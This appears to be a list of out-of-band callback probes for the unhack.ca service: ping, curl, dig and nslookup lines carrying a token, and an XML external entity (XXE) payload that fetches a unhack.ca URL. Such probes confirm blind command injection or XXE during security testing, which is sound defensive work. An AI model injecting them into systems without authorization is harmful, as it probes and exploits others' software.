$ ping -c1 -p 0035b9a8e3b975ba636a389155931400 unhack.ca
 

$ curl http://unhack.ca/p/35b9a8e3b975ba636a3891559314
 

$ dig 35b9a8e3b975ba636a3891559314 @unhack.ca
 

$ dig 35b9a8e3b975ba636a3891559314.ns.unhack.ca
 

C:\> nslookup 35b9a8e3b975ba636a3891559314 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/35b9a8e3b975ba636a3891559314">]>
    <foo>&xxe;</foo>